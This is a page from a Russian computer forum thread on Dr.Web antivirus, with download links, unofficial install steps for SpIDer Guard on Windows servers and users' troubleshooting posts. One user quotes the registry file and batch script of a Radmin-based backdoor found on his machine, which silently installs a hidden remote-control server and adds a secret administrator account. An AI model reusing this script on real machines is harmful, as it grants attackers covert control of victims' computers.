Перейти из форума на сайт.

НовостиФайловые архивы
ПоискАктивные темыТоп лист
ПравилаКто в on-line?
Вход Забыли пароль? Первый раз на этом сайте? Регистрация
Компьютерный форум Ru.Board » Компьютеры » Программы » Dr.Web [DrWeb, Doctor Web, Доктор Веб]

Модерирует : gyra, Maz

Widok (09-11-2005 18:46): лимит страниц.
продолжаем здесь.
 Версия для печати • ПодписатьсяДобавить в закладки
Страницы: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100

   

sattan



taNo
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
 
 

Офицальные сайты:
http://www.drweb.com или http://www.drweb.ru/
Документация по Dr. Web для Windows - ftp://ftp.drweb.ru/pub/drweb/windows/drweb-433-win-ru-pdf.zip

Компания «Доктор Веб» - авторитетный российский разработчик средств антивирусной безопасности под маркой Dr.Web - сообщает о выходе новой версии 4.33 антивирусных продуктов семейства Dr.Web.


 
Данная программа представляет собой мощную комбинацию антивирусного сканера Doctor Web, резидентного сторожа SpIDer Guard, глубоко интегрированного в операционную систему Вашего компьютера, и почтового антивирусного сторожа SpIDer Mail. Doctor Web с ежедневно обновляющимися вирусными базами представляет собой надежную защиту, непреодолимую для любого вируса, "троянского коня", почтового червя и иных видов вредоносного программного кода.
 
Краткое руководство пользователя Версия 4.33  |  Документация на DrWeb
 
Производитель:  Компания «Доктор Веб»
Партнеры:  Компания "СалД", Компания "ДиалогНаука"
 
Последняя версия DrWeb 4.33 для Windows:
ftp://ftp.drweb.com/pub/drweb/windows/drweb-433-win-ru.exe Русская версия (7748 KB)  
ftp://ftp.drweb.com/pub/drweb/windows/drweb-433-win-en.exe English version (6867 KB)
Консольная версия DrWeb386 v4.33 для MS DOS:
ftp://ftp.drweb.com/pub/drweb/dos/drweb-433-dos.zip
 
Dr.Web Enterprise Suite:  http://download.drweb.com/esuite/
Плагин для The Bat!:  ftp://ftp.drweb.ru/pub/archive/windows/drbav/drbav429.zip  (для DrWeb 4.29)
Клиентское ПО для Unix-демонов:  http://download.drweb.com/unix/
 
Как поставить Spider Guard 4.32a на Windows NT/2000/2003 Server:  
http://drweb.hut.ru/spider.shtml#0.931139093823731
http://support.dials.ru/spider.shtml#0.931139093823731
 
Неизвестные вирусы, трояны, adware, а так же файлы, на которые происходит ложное срабатывание, отправлять на:  vms@drweb.com
При этом запаковать всё архиватором, установив пароль: virus  
Подробности читать тут: http://support.drweb.com/sendnew/  
 
Сообщения об ошибках:  support@drweb.com  или  http://bugs.drweb.com (требуется регистрация)
 
На счет лечения идем в Варезник
 
Дополнительные базы (Adware/Spyware/Riskware): читать здесь
 

К "минусам" DrWeb 4.32b можно отнести то, что он не лечит вирусы в архивах, контейнерах и почтовых базах, даже с бесплатным исходным кодом, а может только удалять их целиком. Суппорт обычно советует распаковать архив в отдельную папку с помощью какого-нибудь архиватора, пролечить и запаковать обратно. Это уже обсуждалось здесь.

Всего записей: 5226 | Зарегистр. 24-07-2001 | Отправлено: 09:41 28-09-2001 | Исправлено: cRAzY_kRONiC, 02:37 26-10-2005
Demetrio

uid=0
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

Цитата:
Официальная версия:
На данный момент официально не существует SpIDer для серверных платформ Windows. Но если Ваша WindowsNT/2000 Server используется как рабочая станция, то установить SpIDer Guard все же можно. Для этого Вам понадобится система Windows NT Workstation/2000 Professional с установленным DrWEB и резидентным монитором. Необходимо скопировать файлы SpIDer Guard с системы Windows NT Ws/2000 Prof на Вашу систему Windows NT/2000 Server. Положите файлы spiderui.dll, spidernt.exe, spider.sys, spider.hlp, spidernt.txt и spidernt.rus в папку, в которой установлен DrWEB (spidernt.rus и spidernt.txt являются файлами помощи на русском и английском языках
соответственно). Файл spider.cpl положите в папку C:\%WINDIR%\System32. Файл drwebnet.sys - в папку C:\%WINDIR%\System32\drivers. Выполните процесс инсталляции: в режиме командной строки (cmd.exe) зайдите в папку с установленным DrWEB командой 'cd c:\path to program files\path to drweb' и запустите spidernt с ключом -install (spidernt -install). Затем запустите SpIDerNT из командной строки - net start spidernt.
В system tray появится иконка SpIDer Guard. При помощи этого агента сконфигурируйте SpIDer Guard. Также, при необходимости, сконфигурируйте работу SpIDer Guard с сетью через апплет, находящийся в панели управления - Start-Settings-Control Panel.
Процедура де инсталляции спайдера схожа с процедурой инсталляции. Из командной строки, находясь в папке с установленным DrWEB, выполните команду spidernt -remove. SpIDer Guard будет удален из вашей системы.
 
Неофициальная:
1)найти компоненты спидера для WinNT.
1a) с ftp://ftp.drweb.ru/
1b) Взять дистрибутив, запустить его с ключом /x - самораспаковка.
1c) Создать файлы в нужных каталогах с нужным именем(см. п.2), но с любым содержимым, запустить программу автоматического обновления и получить желаемый результат.
1d) С WinNT с установленным спидером.
 
2)как написано на http://support.dials.ru/, положить файлы spiderui.dll, spidernt.exe, spider.sys, spider.hlp, spidernt.txt и spidernt.rus в папку, в которой установлен DrWEB (spidernt.rus и spidernt.txt являются файлами помощи на русском и английском языках соответственно), файл spider.cpl - в папку %WINDIR%\System32, файл drwebnet.sys - в папку %WINDIR%\System32\drivers.
 
3) запустить спидер.
3a) spidernt -install
      net start spidernt
3b) Control Panel -> SpIDer Guard. И там всё законфигурировать.
 
4) сконфигурировать антивирусную работу спидера
4a) готовым INI-файлом.
4b) через иконку с систрее.
 
5) удалить спидер: spidernt -remove
 
Примечание: при установке на Terminal Server действие информировать(report) недопустимо.

Всего записей: 9967 | Зарегистр. 29-05-2002 | Отправлено: 15:19 26-05-2004
abcdmail

Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Народ, есть вопрос: при извлечении CD-диска на экране  с интервалом 5-10 мин. появляется задалбывающее окно с текстом: в устройстве нет диска. вставьте диск в устройство CD.
Может кто-то уже сталкивался с такой проблемой?

Всего записей: 141 | Зарегистр. 27-02-2002 | Отправлено: 00:04 27-05-2004
WinCHESter



Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
abcdmail
Тебе сюда: http://www.microsoft.com/downloads/search.aspx?displaylang=ru

----------
Best regards,
WinCHESter

Всего записей: 692 | Зарегистр. 28-09-2003 | Отправлено: 01:48 27-05-2004
abcdmail

Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
WinCHESter
и попал на Центр загрузки Майкрософт, а искать чего?
 
Добавлено
я извиняюсь, но мне возможно следовало уточнить, что эта история у меня началась после
перехода с DrWeb 4.29 на DrWeb 4.30-4.30b.

Всего записей: 141 | Зарегистр. 27-02-2002 | Отправлено: 08:37 27-05-2004
Sarancha75



Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Что означает зеленый и красный цвет паука в трее? Иногда он меняется, а закономерность я не уловил.

Всего записей: 1400 | Зарегистр. 27-09-2002 | Отправлено: 00:20 02-06-2004
begbie



Gold Member
Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
Sarancha75
красный паук - базы обнови!
 
Добавлено
красным он становицца ч/з неделю, а офиц. частота обновления раз в час.

----------
Только рыбы в морях знают цену свободе; но их немота вынуждает нас как бы к созданью своих этикеток и касс. И пространство торчит прейскурантом.

Всего записей: 8339 | Зарегистр. 09-02-2002 | Отправлено: 00:46 02-06-2004
Dmitry Novikov

Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Типа почему не прошел тесты VirusBulletin:
 
"Итак, в чём проблема? Вовсе не в том что Др.Веб не обнаружил вирус. Проблема оказалась в настройках по умолчанию. Разъяснения Генерального директора ООО "Доктор Веб" Бориса Шарова:
 
Dr.Web не прошел тест VB по причине того, что резидентным монитором не
был определен вирус в HTML-файле, находившийся внутри MIME-архива.
Название архива условное, но мы всегда рассматриваем такие конструкции
как архивы. Спайдер же по умолчанию архивы не проверяет. Тестирование
проводилось при настройках "по умолчанию" - это стандарт для таких тестов
- поэтому он естественным образом тот файл пропустил. При этом сканер
его обнаружил - поскольку там проверка архивов "по умолчанию" включена.
Но "промашки" Спайдера оказалось достаточно."

Всего записей: 41 | Зарегистр. 27-02-2002 | Отправлено: 13:56 03-06-2004
Jun

Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
  По умолчанию антивирус должен проверять всё. А если кому чего не надо проверять, он сам отключит. Умолчание здесь неправильное, ИМХО.

Всего записей: 138 | Зарегистр. 04-05-2004 | Отправлено: 07:16 06-06-2004
evilman



Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Jun
хм.. смысл проверять то, в чём вирус не может активироваться? изнутри архива _ничего_ не запустится, если ты открыл архив winRARом и щёлкнул по EXE - он _сначала_ распаковывается в %TEMP%, а уже оттуда запускается. разумеется, когда он будет выложен на диск - монитор его проверит (в зависимости от настроек - при записи на диск или при попытке запуска).

Всего записей: 226 | Зарегистр. 29-01-2003 | Отправлено: 09:01 06-06-2004
BBMike



Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Jun
 
а у тебя монитор все проверяет? и как шустро работает комп?

Всего записей: 1497 | Зарегистр. 10-09-2001 | Отправлено: 09:41 07-06-2004
Jun

Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
BBMike
 
   Вроде бы всё. Во всяком случае я поставил галки в настройках везде. На скорости практически не сказалось. В отличие от Касперского.

Всего записей: 138 | Зарегистр. 04-05-2004 | Отправлено: 14:41 07-06-2004
AlexPkr

Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Кто знает что делает вирус Win32.HLLW.MyBot.based
 
и где о нем можно почитать

Всего записей: 251 | Зарегистр. 14-03-2002 | Отправлено: 07:57 14-06-2004
Nep



Moderator
Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
AlexPkr
http://www.viruslist.com/viruslistfind.html?findTxt=hllw

----------
на форуме редко.Модером не являюсь.Татл обман :)

Всего записей: 41940 | Зарегистр. 24-06-2001 | Отправлено: 11:52 14-06-2004
namchik



Silver Member
Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
Что-то после установки мелкософтовской заплатки от Сассера (WindowsXP-KB835732-x86-RUS) Dr.Web 4.31b стал при выключении компа вызывать синие экраны, и откуда-то стали появляться на диске "С:" странные пустые rar-архивы. Кто-нибудь с этим сталкивался? Сильно не пинайте, если это уже обсуждалось...
 
И ещё. Каждый раз при загрузке компа в реестре автозагрузки "hklm\software\microsoft\windows\currentversion\run" появляется запись internat2.exe Если её удалить, то при следующей загрузке она вновь появляется
 
Также при выключении компа появляется окно завершения программы cmd.exe
 
Всё это очень странно! Жду ваших советов...

Всего записей: 4080 | Зарегистр. 01-06-2004 | Отправлено: 15:09 15-06-2004 | Исправлено: namchik, 18:09 15-06-2004
namchik



Silver Member
Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
Удалил дрВеба, поставил Касперского 5.0.132. Он сразу поймал виря "Backdoor.RA-based", который был в файлах reg.reg и cool.bat (в папках system32 и Temp)
Вот такой был reg.reg:

Цитата:
 
Windows Registry Editor Version 5.00
 
[HKEY_LOCAL_MACHINE\SYSTEM\RAdmin]
 
[HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0]
 
[HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server]
 
[HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\iplist]
 
[HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters]
"NTAuthEnabled"=hex:00,00,00,00
"Parameter"=hex:31,12,e8,66,7e,cf,e2,5e,98,ae,bb,51,a2,69,68,82
"Port"=hex:47,9f,00,00
"Timeout"=hex:0a,00,00,00
"EnableLogFile"=hex:00,00,00,00
"LogFilePath"="c:\\logfile.txt"
"FilterIp"=hex:00,00,00,00
"DisableTrayIcon"=hex:01,00,00,00
"AutoAllow"=hex:00,00,00,00
"AskUser"=hex:00,00,00,00
"EnableEventLog"=hex:00,00,00,00
 

 
И cool.bat

Цитата:
 
copy rad32.drv %windir%\system32\raddrv.dll
copy rad32.drv %windir%\system\raddrv.dll
copy mad %windir%\system32\admdll.dll
copy rad32.drv %windir%\system\admdll.dll
copy sysinfo.drv %windir%\system32\sdrrv32.exe
copy sysinfo.drv %windir%\system\sdrrv32.exe
copy x.386 %windir%\system32\reg.reg
copy x.386 %windir%\system\reg.reg
regedt32.exe /s %windir%\system32\reg.reg
regedt32.exe /s %windir%\system\reg.reg
regedit.exe /s %windir%\system32\reg.reg
regedit.exe /s %windir%\system\reg.reg
sdrrv32.exe /install /silence
sdrrv32.exe /start
net user . {getoutofhere} /ADD /ACTIVE:YES /EXPIRES:NEVER /TIMES:ALL
net localgroup "Administrators" "." /ADD
 

 
Откуда ентот вирус мог появиться?
PS. Недавно восстанавливал инфу (при помощи EasyRecovery) с харда, который принес друг. Инфа у него полетела, по его словам, от вируса... Из-за этого может быть

Всего записей: 4080 | Зарегистр. 01-06-2004 | Отправлено: 12:32 16-06-2004 | Исправлено: namchik, 18:08 16-06-2004
Sarancha75



Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
namchik
Это очень похоже на удаленную установку Radmina, который позволяет удаленно управлять компьютером. Может поэтоу он его и трояном называет.

Всего записей: 1400 | Зарегистр. 27-09-2002 | Отправлено: 00:22 17-06-2004
begbie



Gold Member
Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
namchik

Цитата:
Backdoor.RA-based

Sarancha75

Цитата:
Radmina, который позволяет удаленно управлять компьютером

угу, забавный троянчик. сетка е? а мож друг приходил к тебе трояна подарить?

----------
Только рыбы в морях знают цену свободе; но их немота вынуждает нас как бы к созданью своих этикеток и касс. И пространство торчит прейскурантом.

Всего записей: 8339 | Зарегистр. 09-02-2002 | Отправлено: 00:43 17-06-2004
namchik



Silver Member
Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору

Цитата:
мож друг приходил к тебе трояна подарить?

Нет, он вообще чайник. Я его хорошо знаю...
 
Кстати, после  удаления трояна глюки остались. Пришлось даже Norton Ghost'ом воспользоваться...  
 
Например, куда-то пропала функция drag'n'drop, т.е. значки просто перестали перетаскиваться мышкой, только через меню "копировать-вставить". Также в меню поиска перестал работать поиск "файлов и папок" (причем остальные 3 пункта работали)
Никто с подобным не сталкивался ?..

Всего записей: 4080 | Зарегистр. 01-06-2004 | Отправлено: 09:59 17-06-2004 | Исправлено: namchik, 10:01 17-06-2004
DiggER



Advanced Member
Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
namchik
у меня такое было, когда стоял dr.web, долго мучался. Птом поставил АВП он мне понаходил каких-то вирусов и все стало нормально. Про функцию drag'n'drop точно помню, про другое не скажу - не помню.....

Всего записей: 681 | Зарегистр. 24-12-2003 | Отправлено: 10:03 17-06-2004
namchik



Silver Member
Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
Печально. ДроВеба любил за маленький размер дистрибутива Диалап, как-никак... Кстати, замучали его постоянные нападки на отсутствующий Win.exe.Virus, например, в CloneDVD 2.0.9.4 :x

Всего записей: 4080 | Зарегистр. 01-06-2004 | Отправлено: 10:14 17-06-2004
   

Страницы: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100

Компьютерный форум Ru.Board » Компьютеры » Программы » Dr.Web [DrWeb, Doctor Web, Доктор Веб]
Widok (09-11-2005 18:46): лимит страниц.
продолжаем здесь.


Реклама на форуме Ru.Board.

Powered by Ikonboard "v2.1.7b" © 2000 Ikonboard.com
Modified by Ru.B0ard
© Ru.B0ard 2000-2024

BitCoin: 1NGG1chHtUvrtEqjeerQCKDMUi6S6CG4iC

Рейтинг.ru